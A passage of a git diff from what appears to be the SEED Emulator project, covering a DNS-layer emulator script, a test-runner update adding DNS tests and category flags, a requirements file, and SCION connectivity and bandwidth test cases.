+emu.addLayer(ibgp) +emu.addLayer(ospf) +emu.addLayer(ca) +emu.addLayer(web) + +########################################################### +# Create a DNS layer +dns = DomainNameService() + +# Create two nameservers for the root zone +dns.install('a-root-server').addZone('.').setMaster() # Master server +dns.install('b-root-server').addZone('.') # Slave server + +# Create nameservers for TLD and ccTLD zones +# https://itp.cdn.icann.org/en/files/root-system/identification-tld-private-use-24-01-2024-en.pdf +dns.install('a-internal-server').addZone('internal.').setMaster() +dns.install('b-internal-server').addZone('internal.') + +dns.install('ns-ca-internal').addZone('ca1.internal.').addZone('ca2.internal.') +dns.install('ns-user-internal').addZone('user1.internal.').addZone('user2.internal') + +# Add records to zones +dns.getZone('ca1.internal.').addRecord('@ A 10.150.0.7') +dns.getZone('ca2.internal.').addRecord('@ A 10.150.0.8') +dns.getZone('user1.internal.').addRecord('@ A 10.150.0.9') +dns.getZone('user2.internal.').addRecord('@ A 10.151.0.7') + +emu.addLayer(dns) + +emu.addBinding(Binding('a-root-server', filter=Filter(asn=150), action=Action.FIRST)) +emu.addBinding(Binding('b-root-server', filter=Filter(asn=150), action=Action.FIRST)) +emu.addBinding(Binding('a-internal-server', filter=Filter(asn=150), action=Action.FIRST)) +emu.addBinding(Binding('b-internal-server', filter=Filter(asn=150), action=Action.FIRST)) +emu.addBinding(Binding('ns-ca-internal', filter=Filter(asn=150), action=Action.FIRST)) +emu.addBinding(Binding('ns-user-internal', filter=Filter(asn=150), action=Action.FIRST)) + +########################################################### +# Create two local DNS servers (virtual nodes). +ldns = DomainNameCachingService() +ldns.install('global-dns') + +# Customize the display name (for visualization purpose) +emu.getVirtualNode('global-dns').setDisplayName('Global DNS') + +as151 = base.getAutonomousSystem(151) +as151.createHost('local-dns').joinNetwork('net0', address = '10.151.0.53') + +emu.addBinding(Binding('global-dns', filter = Filter(asn=151, nodeName="local-dns"))) + +# Add 10.153.0.53 as the local DNS server for all the other nodes +base.setNameServers(['10.151.0.53']) + +# Add the ldns layer +emu.addLayer(ldns) + +########################################################### + +emu.render() +emu.compile(Docker(), './output', override=True) diff --git a/tests/requirements.txt b/tests/requirements.txt index f9823af4a..0be9e1b75 100644 --- a/tests/requirements.txt +++ b/tests/requirements.txt @@ -1,54 +1,54 @@ -aiohappyeyeballs==2.4.6 -aiohttp==3.11.13 -aiosignal==1.3.2 -annotated-types==0.7.0 -async-timeout==5.0.1 -attrs==25.1.0 -base58==2.1.1 -bitarray==2.9.3 -certifi==2025.1.31 -chardet==3.0.4 -cytoolz==0.12.3 -docker==4.1.0 -eth-abi==2.2.0 -eth-account==0.5.9 -eth-hash==0.7.1 -eth-keyfile==0.5.1 -eth-keys==0.3.4 -eth-rlp<0.3 -eth-typing==2.3.0 -eth-utils==1.9.5 -Faker==24.4.0 -frozenlist==1.5.0 -geopy==2.4.1 -hexbytes==0.3.1 -idna==2.8 -ipfshttpclient==0.8.0a2 -jsonschema==4.23.0 -jsonschema-specifications==2024.10.1 -lru-dict==1.3.0 -multiaddr==0.0.9 -multidict==6.1.0 -netaddr==1.3.0 -parsimonious==0.8.1 -propcache==0.3.0 -protobuf==3.19.5 -pycryptodome==3.21.0 -pydantic==2.10.6 -pydantic_core==2.27.2 -python-dateutil==2.9.0.post0 -python-on-whales==0.75.1 -PyYAML==6.0.2 -referencing==0.36.2 -requests==2.22.0 -rlp==2.0.1 -rpds-py==0.23.1 -six==1.17.0 -toolz==1.0.0 -typing_extensions==4.12.2 -urllib3==1.25.11 -varint==1.0.2 -web3==5.31.1 -websocket-client==1.8.0 -websockets==9.1 -yarl==1.18.3 +aiohappyeyeballs==2.4.6 +aiohttp==3.11.13 +aiosignal==1.3.2 +annotated-types==0.7.0 +async-timeout==5.0.1 +attrs==25.1.0 +base58==2.1.1 +bitarray==2.9.3 +certifi==2025.1.31 +chardet==3.0.4 +cytoolz==0.12.3 +docker==4.1.0 +eth-abi==2.2.0 +eth-account==0.5.9 +eth-hash==0.7.1 +eth-keyfile==0.5.1 +eth-keys==0.3.4 +eth-rlp<0.3 +eth-typing==2.3.0 +eth-utils==1.9.5 +Faker==24.4.0 +frozenlist==1.5.0 +geopy==2.4.1 +hexbytes==0.3.1 +idna==2.8 +ipfshttpclient==0.8.0a2 +jsonschema==4.23.0 +jsonschema-specifications==2024.10.1 +lru-dict==1.3.0 +multiaddr==0.0.9 +multidict==6.1.0 +netaddr==1.3.0 +parsimonious==0.8.1 +propcache==0.3.0 +protobuf==3.19.5 +pycryptodome==3.21.0 +pydantic==2.10.6 +pydantic_core==2.27.2 +python-dateutil==2.9.0.post0 +python-on-whales==0.75.1 +PyYAML==6.0.2 +referencing==0.36.2 +requests==2.22.0 +rlp==2.0.1 +rpds-py==0.23.1 +six==1.17.0 +toolz==1.0.0 +typing_extensions==4.12.2 +urllib3==1.25.11 +varint==1.0.2 +web3==5.31.1 +websocket-client==1.8.0 +websockets==9.1 +yarl==1.18.3 diff --git a/tests/run-tests.py b/tests/run-tests.py index 7329daff8..7aee6cad0 100755 --- a/tests/run-tests.py +++ b/tests/run-tests.py @@ -1,63 +1,91 @@ -#!/usr/bin/env python3 - -from internet import IPAnyCastTestCase, MiniInternetTestCase, HostMgmtTestCase -from ethereum import EthereumPOATestCase, EthereumPOSTestCase, EthereumPOWTestCase -from scion import ScionBgpMixedTestCase, ScionBwtesterTestCase, ScionLargeASNTestCase -from options import SEEDEmuOptionSystemTestCase -from kubo import KuboTestCase, KuboUtilFuncsTestCase, DottedDictTestCase -from pki import PKITestCase -from chainlink import ChainlinkPOATestCase -from traffic_generator import TrafficGeneratorTestCase -from ethUtility import EthUtilityPOATestCase -import argparse -import unittest -import os - -parser = argparse.ArgumentParser() -parser.add_argument("platform", nargs='?', default="amd") -parser.add_argument("--ci", action='store_true', help="Run limited set of tests") -args = parser.parse_args() - -# Set an environment variable -os.environ['platform'] = args.platform - -test_case_list = [ - MiniInternetTestCase, - IPAnyCastTestCase, - HostMgmtTestCase, - EthereumPOATestCase, - EthereumPOSTestCase, - EthereumPOWTestCase, - ChainlinkPOATestCase, - EthUtilityPOATestCase, - ScionLargeASNTestCase, - ScionBgpMixedTestCase, - ScionBwtesterTestCase, - SEEDEmuOptionSystemTestCase, - KuboTestCase, - KuboUtilFuncsTestCase, - DottedDictTestCase, - PKITestCase, - TrafficGeneratorTestCase -] - -if args.ci: - test_case_list = [ - MiniInternetTestCase, - IPAnyCastTestCase, - HostMgmtTestCase, - ScionBgpMixedTestCase, - ScionBwtesterTestCase, - DottedDictTestCase, - TrafficGeneratorTestCase - ] - -for test_case in test_case_list: - test_suite = test_case.get_test_suite() - res = unittest.TextTestRunner(verbosity=2).run(test_suite) - test_case.printLog("==============================") - test_case.printLog("{} Test Ends".format(test_case.__name__)) - test_case.printLog("==============================") - - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - test_case.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) +#!/usr/bin/env python3 + +from internet import IPAnyCastTestCase, MiniInternetTestCase, HostMgmtTestCase, DNSTestCase, DNSTestCaseNoMaster, DNSTestCaseFallback +from ethereum import EthereumPOATestCase, EthereumPOSTestCase, EthereumPOWTestCase +from scion import ScionBgpMixedTestCase, ScionBwtesterTestCase, ScionLargeASNTestCase +from options import SEEDEmuOptionSystemTestCase +from kubo import KuboTestCase, KuboUtilFuncsTestCase, DottedDictTestCase +from pki import PKITestCase +from chainlink import ChainlinkPOATestCase +from traffic_generator import TrafficGeneratorTestCase +from ethUtility import EthUtilityPOATestCase +import argparse +import unittest +import os + +parser = argparse.ArgumentParser() +parser.add_argument("platform", nargs='?', default="amd") +parser.add_argument("--ci", action='store_true', help="Run limited set of tests") +parser.add_argument("--basic", action="store_true", help="Run basic tests") +parser.add_argument("--internet", action="store_true", help="Run internet tests") +parser.add_argument("--blockchain", action="store_true", help="Run blockchain tests") +parser.add_argument("--scion", action="store_true", help="Run SCION tests") +args = parser.parse_args() + +# Set an environment variable +os.environ['platform'] = args.platform + +test_case_list = [ +] + +blockchain_tests = [ + EthereumPOATestCase, + EthereumPOSTestCase, + EthereumPOWTestCase, + ChainlinkPOATestCase, + EthUtilityPOATestCase +] + +scion_tests = [ + ScionLargeASNTestCase, + ScionBgpMixedTestCase, + ScionBwtesterTestCase +] + +basic_tests = [ + MiniInternetTestCase, + SEEDEmuOptionSystemTestCase, + ] + +internet_tests = [ + # KuboTestCase, + KuboUtilFuncsTestCase, + IPAnyCastTestCase, + HostMgmtTestCase, + DNSTestCase, + DNSTestCaseNoMaster, + DNSTestCaseFallback, + # PKITestCase, + DottedDictTestCase, + TrafficGeneratorTestCase + ] + +if args.basic: + test_case_list.extend(basic_tests) +if args.internet: + test_case_list.extend(internet_tests) +if args.blockchain: + test_case_list.extend(blockchain_tests) +if args.scion: + test_case_list.extend(scion_tests) + +if args.ci: + test_case_list = [ + MiniInternetTestCase, + IPAnyCastTestCase, + HostMgmtTestCase, + # ScionBgpMixedTestCase, + # ScionBwtesterTestCase, + DottedDictTestCase, + TrafficGeneratorTestCase + ] + +for test_case in test_case_list: + test_suite = test_case.get_test_suite() + res = unittest.TextTestRunner(verbosity=2).run(test_suite) + test_case.printLog("==============================") + test_case.printLog("{} Test Ends".format(test_case.__name__)) + test_case.printLog("==============================") + + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + test_case.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) diff --git a/tests/scion/ScionTestCase.py b/tests/scion/ScionTestCase.py index f78985b19..07370c256 100644 --- a/tests/scion/ScionTestCase.py +++ b/tests/scion/ScionTestCase.py @@ -1,71 +1,71 @@ -import json -from typing import List, Tuple, Union - -from tests.SeedEmuTestCase import SeedEmuTestCase -from .tools.scion_output_checker import ScionOutputChecker -class ScionTestCase(SeedEmuTestCase): - """! - @brief Extends SeedEmuTestCase with SCION-specific tests. - """ - @classmethod - def setUpClass(cls) -> None: - super().setUpClass() - - @classmethod - def check_emulation_files(cls): - """! - SCION compiler output contains a lot of static hardcoded configuration - that ought to be consistent if the simulation is supposed to run. - """ - ScionOutputChecker( cls.output_dir ).do_checks() - - def scion_ping_test(self, container, dst: str, count: int = 1, pred: str = "0*") -> bool: - """! - @brief Ping a SCION host three times. - - @param container Container of the source host - @param dst Destination host in ISD-ASN,IP format - @param count Number of echo requests to send - @param pred Space separated list of hop predicates (see 'scion ping --help') - - @return True if ping was successful, False if destination did not respond - or no working paths match the predicate. - """ - - exit_code, _ = container.exec_run(f"scion ping {dst} -c {count} --sequence='{pred}'") - self.printLog(f"CMD: scion ping {dst} -c {count} --sequence='{pred}'") - if exit_code == 0: - self.printLog(f"scion ping test {dst} succeeded") - return True - else: - self.printLog(f"scion ping test {dst} failed") - return False - - def scion_path_test(self, container, dst: str, pred: str = "0*", ret_paths: bool = False - ) -> Union[bool, Tuple[bool, List]]: - """! - @brief Test whether a path matching the given path predicate exists and is alive. - - @param container Container of the source host - @param dst Destination host in ISD-ASN,IP format - @param pred Space separated list of hop predicates (see 'scion showpaths --help') - @param ret_paths If true, return the paths found by the showpaths command. - - @return True if at least one path matching the hop predicates is alive or source and - destination are identical. If \p ret_paths is True, returns a pair of the pass/fail - condition and a list of the available paths. - """ - - exit_code, output = container.exec_run( - f"scion showpaths {dst} --format json --sequence='{pred}'") - assert 0 <= exit_code < 2, "got unexpected exit code from 'scion showpaths'" - - self.printLog(f"CMD: scion showpaths {dst} --format json --sequence='{pred}'") - paths = json.loads(output).get('paths', []) - - if exit_code == 0: - self.printLog(f"found {len(paths)} path(s) to {dst} matching predicate '{pred}'") - return True, paths if ret_paths else True - else: - self.printLog(f"scion path test (dst: {dst}) with predicate '{pred}' failed") - return False, paths if ret_paths else False +import json +from typing import List, Tuple, Union + +from tests.SeedEmuTestCase import SeedEmuTestCase +from .tools.scion_output_checker import ScionOutputChecker +class ScionTestCase(SeedEmuTestCase): + """! + @brief Extends SeedEmuTestCase with SCION-specific tests. + """ + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + + @classmethod + def check_emulation_files(cls): + """! + SCION compiler output contains a lot of static hardcoded configuration + that ought to be consistent if the simulation is supposed to run. + """ + ScionOutputChecker( cls.output_dir ).do_checks() + + def scion_ping_test(self, container, dst: str, count: int = 1, pred: str = "0*") -> bool: + """! + @brief Ping a SCION host three times. + + @param container Container of the source host + @param dst Destination host in ISD-ASN,IP format + @param count Number of echo requests to send + @param pred Space separated list of hop predicates (see 'scion ping --help') + + @return True if ping was successful, False if destination did not respond + or no working paths match the predicate. + """ + + exit_code, _ = container.exec_run(f"scion ping {dst} -c {count} --sequence='{pred}'") + self.printLog(f"CMD: scion ping {dst} -c {count} --sequence='{pred}'") + if exit_code == 0: + self.printLog(f"scion ping test {dst} succeeded") + return True + else: + self.printLog(f"scion ping test {dst} failed") + return False + + def scion_path_test(self, container, dst: str, pred: str = "0*", ret_paths: bool = False + ) -> Union[bool, Tuple[bool, List]]: + """! + @brief Test whether a path matching the given path predicate exists and is alive. + + @param container Container of the source host + @param dst Destination host in ISD-ASN,IP format + @param pred Space separated list of hop predicates (see 'scion showpaths --help') + @param ret_paths If true, return the paths found by the showpaths command. + + @return True if at least one path matching the hop predicates is alive or source and + destination are identical. If \p ret_paths is True, returns a pair of the pass/fail + condition and a list of the available paths. + """ + + exit_code, output = container.exec_run( + f"scion showpaths {dst} --format json --sequence='{pred}'") + assert 0 <= exit_code < 2, "got unexpected exit code from 'scion showpaths'" + + self.printLog(f"CMD: scion showpaths {dst} --format json --sequence='{pred}'") + paths = json.loads(output).get('paths', []) + + if exit_code == 0: + self.printLog(f"found {len(paths)} path(s) to {dst} matching predicate '{pred}'") + return True, paths if ret_paths else True + else: + self.printLog(f"scion path test (dst: {dst}) with predicate '{pred}' failed") + return False, paths if ret_paths else False diff --git a/tests/scion/__init__.py b/tests/scion/__init__.py index 4734d70a3..2dd15488c 100644 --- a/tests/scion/__init__.py +++ b/tests/scion/__init__.py @@ -1,5 +1,5 @@ -from .ScionTestCase import ScionTestCase -from .scion_bgp_mixed import ScionBgpMixedTestCase -from .scion_bwtester import ScionBwtesterTestCase -from .tools import scion_output_checker as ScionOutputChecker -from .scion_large_asns import ScionLargeASNTestCase +from .ScionTestCase import ScionTestCase +from .scion_bgp_mixed import ScionBgpMixedTestCase +from .scion_bwtester import ScionBwtesterTestCase +from .tools import scion_output_checker as ScionOutputChecker +from .scion_large_asns import ScionLargeASNTestCase diff --git a/tests/scion/scion_bgp_mixed/ScionBgpMixedTestCase.py b/tests/scion/scion_bgp_mixed/ScionBgpMixedTestCase.py index 247ea66a2..774cf4a61 100755 --- a/tests/scion/scion_bgp_mixed/ScionBgpMixedTestCase.py +++ b/tests/scion/scion_bgp_mixed/ScionBgpMixedTestCase.py @@ -1,68 +1,68 @@ -#!/usr/bin/env python3 - -import time -import unittest as ut - -from tests.scion import ScionTestCase - -class ScionBgpMixedTestCase(ScionTestCase): - """! - @brief Test the S02-scion-bgp-mixed example. - """ - @classmethod - def setUpClass(cls) -> None: - super().setUpClass() - cls.wait_until_all_containers_up(22) - cls.printLog("Wait 60 seconds for beaconing") - time.sleep(60) - - def setUp(self): - super().setUp() - self.ases = [(1, 150), (1, 151), (1, 152), (1, 153), (2, 160), (2, 161)] - self.cses = {} - for cntr in self.containers: - if "cs" in cntr.name: - asn, _, ip = cntr.name.split('-') - asn = asn.removeprefix('as').removesuffix('h').removesuffix('cs') - if int(asn) < 160: - ia = f"1-{asn}" - else: - ia = f"2-{asn}" - self.cses[cntr.name] = (ia, ip, cntr) - - def test_bgp_connections(self): - """Test whether all control services can reach each other using their IP addresses directly. - """ - for ia, ip, _ in self.cses.values(): - if ia == "2-161": - dst = ip - break - for name, (_, _, cntr) in self.cses.items(): - self.printLog(f"\n-------- Test IP reachability from {name} --------") - self.assertTrue(self.ping_test(cntr, dst)) - - def test_scion_connections(self): - """Test whether all control services can reach each other using their SCION addresses. - """ - for name, (_, _, cntr) in self.cses.items(): - self.printLog(f"\n-------- Test SCION reachability from {name} --------") - for ia in self.ases: - self.assertTrue(self.scion_path_test(cntr, "{}-{}".format(*ia))) - for ia, ip, _ in self.cses.values(): - self.assertTrue(self.scion_ping_test(cntr, f"{ia},{ip}")) - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(cls('test_bgp_connections')) - test_suite.addTest(cls('test_scion_connections')) - return test_suite - - -if __name__ == "__main__": - test_suite = ScionBgpMixedTestCase.get_test_suite() - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - ScionBgpMixedTestCase.printLog("==========Test=========") - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - ScionBgpMixedTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) +#!/usr/bin/env python3 + +import time +import unittest as ut + +from tests.scion import ScionTestCase + +class ScionBgpMixedTestCase(ScionTestCase): + """! + @brief Test the S02-scion-bgp-mixed example. + """ + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + cls.wait_until_all_containers_up(22) + cls.printLog("Wait 60 seconds for beaconing") + time.sleep(60) + + def setUp(self): + super().setUp() + self.ases = [(1, 150), (1, 151), (1, 152), (1, 153), (2, 160), (2, 161)] + self.cses = {} + for cntr in self.containers: + if "cs" in cntr.name: + asn, _, ip = cntr.name.split('-') + asn = asn.removeprefix('as').removesuffix('h').removesuffix('cs') + if int(asn) < 160: + ia = f"1-{asn}" + else: + ia = f"2-{asn}" + self.cses[cntr.name] = (ia, ip, cntr) + + def test_bgp_connections(self): + """Test whether all control services can reach each other using their IP addresses directly. + """ + for ia, ip, _ in self.cses.values(): + if ia == "2-161": + dst = ip + break + for name, (_, _, cntr) in self.cses.items(): + self.printLog(f"\n-------- Test IP reachability from {name} --------") + self.assertTrue(self.ping_test(cntr, dst)) + + def test_scion_connections(self): + """Test whether all control services can reach each other using their SCION addresses. + """ + for name, (_, _, cntr) in self.cses.items(): + self.printLog(f"\n-------- Test SCION reachability from {name} --------") + for ia in self.ases: + self.assertTrue(self.scion_path_test(cntr, "{}-{}".format(*ia))) + for ia, ip, _ in self.cses.values(): + self.assertTrue(self.scion_ping_test(cntr, f"{ia},{ip}")) + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls('test_bgp_connections')) + test_suite.addTest(cls('test_scion_connections')) + return test_suite + + +if __name__ == "__main__": + test_suite = ScionBgpMixedTestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + ScionBgpMixedTestCase.printLog("==========Test=========") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + ScionBgpMixedTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) diff --git a/tests/scion/scion_bgp_mixed/__init__.py b/tests/scion/scion_bgp_mixed/__init__.py index 6ee43915e..d86040ac9 100644 --- a/tests/scion/scion_bgp_mixed/__init__.py +++ b/tests/scion/scion_bgp_mixed/__init__.py @@ -1 +1 @@ -from .ScionBgpMixedTestCase import ScionBgpMixedTestCase +from .ScionBgpMixedTestCase import ScionBgpMixedTestCase diff --git a/tests/scion/scion_bgp_mixed/emulator-code/test-emulator.py b/tests/scion/scion_bgp_mixed/emulator-code/test-emulator.py index 84480b406..8ec3d51dc 100755 --- a/tests/scion/scion_bgp_mixed/emulator-code/test-emulator.py +++ b/tests/scion/scion_bgp_mixed/emulator-code/test-emulator.py @@ -1,108 +1,108 @@ -#!/usr/bin/env python3 - -from seedemu.compiler import Docker, Graphviz -from seedemu.core import Emulator -from seedemu.layers import ( - ScionBase, ScionRouting, ScionIsd, Scion, Ospf, Ibgp, Ebgp, PeerRelationship) -from seedemu.layers.Scion import LinkType as ScLinkType - -# Initialize -emu = Emulator() -base = ScionBase() -# install BIRD rt daemon on all Rnodes -routing = ScionRouting(static_routing=False) -ospf = Ospf() -scion_isd = ScionIsd() -scion = Scion() -ibgp = Ibgp() -ebgp = Ebgp() - -# SCION ISDs -base.createIsolationDomain(1) -base.createIsolationDomain(2) - -# Internet Exchanges -base.createInternetExchange(100) -base.createInternetExchange(101) -base.createInternetExchange(102) -base.createInternetExchange(103) -base.createInternetExchange(104) - -# Core AS 1-150 -as150 = base.createAutonomousSystem(150) -scion_isd.addIsdAs(1, 150, is_core=True) -as150.createNetwork('net0') -as150.createNetwork('net1') -as150.createNetwork('net2') -as150.createNetwork('net3') -as150.setBeaconingIntervals('5s', '5s', '5s') -as150.setBeaconPolicy('core_registration', {'Filter': {'AllowIsdLoop': False}}) -as150.createControlService('cs1').joinNetwork('net0') -as150.createControlService('cs2').joinNetwork('net2') -as150_br0 = as150.createRouter('br0') -as150_br1 = as150.createRouter('br1') -as150_br2 = as150.createRouter('br2') -as150_br3 = as150.createRouter('br3') -as150_br0.joinNetwork('net0').joinNetwork('net1').joinNetwork('ix100') -as150_br1.joinNetwork('net1').joinNetwork('net2').joinNetwork('ix101') -as150_br2.joinNetwork('net2').joinNetwork('net3').joinNetwork('ix102') -as150_br3.joinNetwork('net3').joinNetwork('net0').joinNetwork('ix103') - -# Non-core ASes in ISD 1 -asn_ix = { - 151: 101, - 152: 102, - 153: 103, -} -for asn, ix in asn_ix.items(): - as_ = base.createAutonomousSystem(asn) - scion_isd.addIsdAs(1, asn, is_core=False) - scion_isd.setCertIssuer((1, asn), issuer=150) - as_.createNetwork('net0') - as_.createControlService('cs1').joinNetwork('net0') - as_.createRouter('br0').joinNetwork('net0').joinNetwork(f'ix{ix}') - -# Core AS 1-160 -as160 = base.createAutonomousSystem(160) -scion_isd.addIsdAs(2, 160, is_core=True) -as160.createNetwork('net0') -as160.createControlService('cs1').joinNetwork('net0') -as160.createRouter('br0').joinNetwork('net0').joinNetwork('ix100') -as160.createRouter('br1').joinNetwork('net0').joinNetwork('ix104') - -# Non-core AS in ISD 2 -as161 = base.createAutonomousSystem(161) -scion_isd.addIsdAs(2, 161, is_core=False) -scion_isd.setCertIssuer((2, 161), issuer=160) -as161.createNetwork('net0') -as161.createControlService('cs1').joinNetwork('net0') -as161.createRouter('br0').joinNetwork('net0').joinNetwork('ix104') - -# SCION links -scion.addIxLink(100, (1, 150), (2, 160), ScLinkType.Core) -scion.addIxLink(101, (1, 150), (1, 151), ScLinkType.Transit) -scion.addIxLink(102, (1, 150), (1, 152), ScLinkType.Transit) -scion.addIxLink(103, (1, 150), (1, 153), ScLinkType.Transit) -scion.addIxLink(104, (2, 160), (2, 161), ScLinkType.Transit) - -# BGP peering -ebgp.addPrivatePeering(100, 150, 160, abRelationship=PeerRelationship.Peer) -ebgp.addPrivatePeering(101, 150, 151, abRelationship=PeerRelationship.Provider) -ebgp.addPrivatePeering(102, 150, 152, abRelationship=PeerRelationship.Provider) -ebgp.addPrivatePeering(103, 150, 153, abRelationship=PeerRelationship.Provider) -ebgp.addPrivatePeering(104, 160, 161, abRelationship=PeerRelationship.Provider) - -# Rendering -emu.addLayer(base) -emu.addLayer(routing) -emu.addLayer(ospf) -emu.addLayer(scion_isd) -emu.addLayer(scion) -emu.addLayer(ibgp) -emu.addLayer(ebgp) - -emu.render() - -# Compilation -emu.compile(Docker(), './output') -emu.compile(Graphviz(), "./output/graphs") +#!/usr/bin/env python3 + +from seedemu.compiler import Docker, Graphviz +from seedemu.core import Emulator +from seedemu.layers import ( + ScionBase, ScionRouting, ScionIsd, Scion, Ospf, Ibgp, Ebgp, PeerRelationship) +from seedemu.layers.Scion import LinkType as ScLinkType + +# Initialize +emu = Emulator() +base = ScionBase() +# install BIRD rt daemon on all Rnodes +routing = ScionRouting(static_routing=False) +ospf = Ospf() +scion_isd = ScionIsd() +scion = Scion() +ibgp = Ibgp() +ebgp = Ebgp() + +# SCION ISDs +base.createIsolationDomain(1) +base.createIsolationDomain(2) + +# Internet Exchanges +base.createInternetExchange(100) +base.createInternetExchange(101) +base.createInternetExchange(102) +base.createInternetExchange(103) +base.createInternetExchange(104) + +# Core AS 1-150 +as150 = base.createAutonomousSystem(150) +scion_isd.addIsdAs(1, 150, is_core=True) +as150.createNetwork('net0') +as150.createNetwork('net1') +as150.createNetwork('net2') +as150.createNetwork('net3') +as150.setBeaconingIntervals('5s', '5s', '5s') +as150.setBeaconPolicy('core_registration', {'Filter': {'AllowIsdLoop': False}}) +as150.createControlService('cs1').joinNetwork('net0') +as150.createControlService('cs2').joinNetwork('net2') +as150_br0 = as150.createRouter('br0') +as150_br1 = as150.createRouter('br1') +as150_br2 = as150.createRouter('br2') +as150_br3 = as150.createRouter('br3') +as150_br0.joinNetwork('net0').joinNetwork('net1').joinNetwork('ix100') +as150_br1.joinNetwork('net1').joinNetwork('net2').joinNetwork('ix101') +as150_br2.joinNetwork('net2').joinNetwork('net3').joinNetwork('ix102') +as150_br3.joinNetwork('net3').joinNetwork('net0').joinNetwork('ix103') + +# Non-core ASes in ISD 1 +asn_ix = { + 151: 101, + 152: 102, + 153: 103, +} +for asn, ix in asn_ix.items(): + as_ = base.createAutonomousSystem(asn) + scion_isd.addIsdAs(1, asn, is_core=False) + scion_isd.setCertIssuer((1, asn), issuer=150) + as_.createNetwork('net0') + as_.createControlService('cs1').joinNetwork('net0') + as_.createRouter('br0').joinNetwork('net0').joinNetwork(f'ix{ix}') + +# Core AS 1-160 +as160 = base.createAutonomousSystem(160) +scion_isd.addIsdAs(2, 160, is_core=True) +as160.createNetwork('net0') +as160.createControlService('cs1').joinNetwork('net0') +as160.createRouter('br0').joinNetwork('net0').joinNetwork('ix100') +as160.createRouter('br1').joinNetwork('net0').joinNetwork('ix104') + +# Non-core AS in ISD 2 +as161 = base.createAutonomousSystem(161) +scion_isd.addIsdAs(2, 161, is_core=False) +scion_isd.setCertIssuer((2, 161), issuer=160) +as161.createNetwork('net0') +as161.createControlService('cs1').joinNetwork('net0') +as161.createRouter('br0').joinNetwork('net0').joinNetwork('ix104') + +# SCION links +scion.addIxLink(100, (1, 150), (2, 160), ScLinkType.Core) +scion.addIxLink(101, (1, 150), (1, 151), ScLinkType.Transit) +scion.addIxLink(102, (1, 150), (1, 152), ScLinkType.Transit) +scion.addIxLink(103, (1, 150), (1, 153), ScLinkType.Transit) +scion.addIxLink(104, (2, 160), (2, 161), ScLinkType.Transit) + +# BGP peering +ebgp.addPrivatePeering(100, 150, 160, abRelationship=PeerRelationship.Peer) +ebgp.addPrivatePeering(101, 150, 151, abRelationship=PeerRelationship.Provider) +ebgp.addPrivatePeering(102, 150, 152, abRelationship=PeerRelationship.Provider) +ebgp.addPrivatePeering(103, 150, 153, abRelationship=PeerRelationship.Provider) +ebgp.addPrivatePeering(104, 160, 161, abRelationship=PeerRelationship.Provider) + +# Rendering +emu.addLayer(base) +emu.addLayer(routing) +emu.addLayer(ospf) +emu.addLayer(scion_isd) +emu.addLayer(scion) +emu.addLayer(ibgp) +emu.addLayer(ebgp) + +emu.render() + +# Compilation +emu.compile(Docker(), './output') +emu.compile(Graphviz(), "./output/graphs") diff --git a/tests/scion/scion_bwtester/ScionBwtesterTestCase.py b/tests/scion/scion_bwtester/ScionBwtesterTestCase.py index 78ce32a24..fc1f6b0f8 100755 --- a/tests/scion/scion_bwtester/ScionBwtesterTestCase.py +++ b/tests/scion/scion_bwtester/ScionBwtesterTestCase.py @@ -1,73 +1,73 @@ -#!/usr/bin/env python3 - -import time -import unittest as ut -from tests.scion import ScionTestCase - -class ScionBwtesterTestCase(ScionTestCase): - """! - @brief Test the S03-bandwidth-test example. - """ - @classmethod - def setUpClass(cls) -> None: - super().setUpClass() - cls.wait_until_all_containers_up(13) - cls.printLog("Wait 60 seconds for beaconing") - time.sleep(60) - - def setUp(self): - super().setUp() - self.bwtesters = {} - for cntr in self.containers: - if "bwtest" in cntr.name: - asn, _, ip = cntr.name.split('-') - asn = asn.removeprefix('as').removesuffix('h').removesuffix('cs') - self.bwtesters[f"1-{asn}"] = (ip, cntr) - - def bwtester_conn_test(self, container, server: str) -> bool: - ec, output = container.exec_run(f"scion-bwtestclient -s {server}:40002") - self.printLog(f"CMD: scion-bwtestclient -s {server}:40002") - self.printLog(output.decode()) - return ec == 0 - - def test_paths(self): - """Check whether all SCION paths are up. - """ - tests = [ - ("1-150", "1-151", "1-150 1-152? 1-151", 2), - ("1-151", "1-152", "1-151 1-150? 1-152", 2), - ("1-152", "1-150", "1-152 1-151? 1-150", 2), - ("1-153", "1-150", "0*", 1), - ("1-153", "1-151", "0*", 2), - ("1-153", "1-152", "0*", 2), - ] - self.printLog(f"\n-------- Test SCION paths --------") - for src, dst, pred, expected_paths in tests: - _, cntr = self.bwtesters[src] - ok, paths = self.scion_path_test(cntr, dst, pred=pred, ret_paths=True) - self.assertTrue(ok) - self.assertEqual(len(paths), expected_paths) - - def test_bwtester(self): - """Test connectivity between bandwidth test servers and clients. - """ - for server_ia, (server_ip, server) in self.bwtesters.items(): - for _, client in self.bwtesters.values(): - self.printLog(f"\n-------- Test BW {client.name} -> {server.name} --------") - self.assertTrue(self.bwtester_conn_test(client, f"{server_ia},{server_ip}")) - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(cls('test_paths')) - test_suite.addTest(cls('test_bwtester')) - return test_suite - - -if __name__ == "__main__": - test_suite = ScionBwtesterTestCase.get_test_suite() - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - ScionBwtesterTestCase.printLog("==========Test=========") - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - ScionBwtesterTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) +#!/usr/bin/env python3 + +import time +import unittest as ut +from tests.scion import ScionTestCase + +class ScionBwtesterTestCase(ScionTestCase): + """! + @brief Test the S03-bandwidth-test example. + """ + @classmethod + def setUpClass(cls) -> None: + 